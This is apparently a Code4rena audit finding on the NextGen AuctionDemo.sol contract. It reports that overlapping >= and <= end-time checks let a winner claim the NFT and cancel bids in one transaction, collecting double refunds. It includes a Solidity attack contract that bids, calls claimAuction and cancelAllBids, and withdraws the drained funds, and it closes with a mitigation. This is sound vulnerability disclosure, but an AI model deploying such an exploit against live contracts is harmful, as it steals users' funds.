NextGen - mahyar's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L135

Vulnerability details

Impact

In auction contract users can bid on the auction and when the auction has ended winner can call the claimAuction function to receive the token, however the problem is you are using >= and <= for checking the auction end time in claimAuction and cancelBid functions:

File: 2023-10-nextgen\smart-contracts\AuctionDemo.sol
105: require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

125: require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

So how attacker can steal funds?

since winner can call claimAuction function, malicious winner can call this function in the exact time equal to the auction end time this way he will pass the check for auction end time and he will be able to claim the NFT and also call cancelBid in the same transaction to get back his bid amount. he can drain whole funds available in the auction contract by creating multiple bids (because you refund bidders who didn't won this way if attacker calls cancelBid he will be able to receive double value of their bid one that was refunded and one for canceling their bid in the same transaction)

Proof of Concept

Imagine auction is created, what attacker do is he will create multiple bids and also make sure one of this bids make him a winner, then he waits till the auction end time and call the claimAuction function in the exact time this way he will be able to cancel all of the bids in the same transaction to receive double amount and also receive the NFT.

attacker can use this simple contract to perform the attack

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// importing interfaces
import "./IAuction.sol";

contract AttackGMX{
    address public immutable owner;
    address public immutable Auction;


    modifier onlyOwner(){
        require(msg.sender == owner, "not owner");
        _;
    }

    constructor(address _Auction){
        owner = msg.sender;
        Auction = _Auction;
    }


  // attacker use this function to bid multiple times
  function bid(uint256 tokenId) public payable{
    IAuction(Auction).participateToAuction{value: msg.value}(tokenId);
  }

  // attacker call this function to perform the attack 
  function attack(uint256 tokenId) public payable {
    IAuction(Auction).claimAuction(tokenId);

    // canceling all bids in the same transaction
    IAuction(Auction).cancelAllBids(tokenId);
  }
    
  function withdraw(address token) public onlyOwner{
    uint256 balance = address(this).balance;
    (bool success,) = owner.call{value: balance}("");
  }
}

Tools Used

Manual review

Recommended Mitigation Steps

You need to remove the = for checking the end time on both claimAuction, cancelBid and cancelAllBids function. just use > and <

Assessed type

Invalid Validation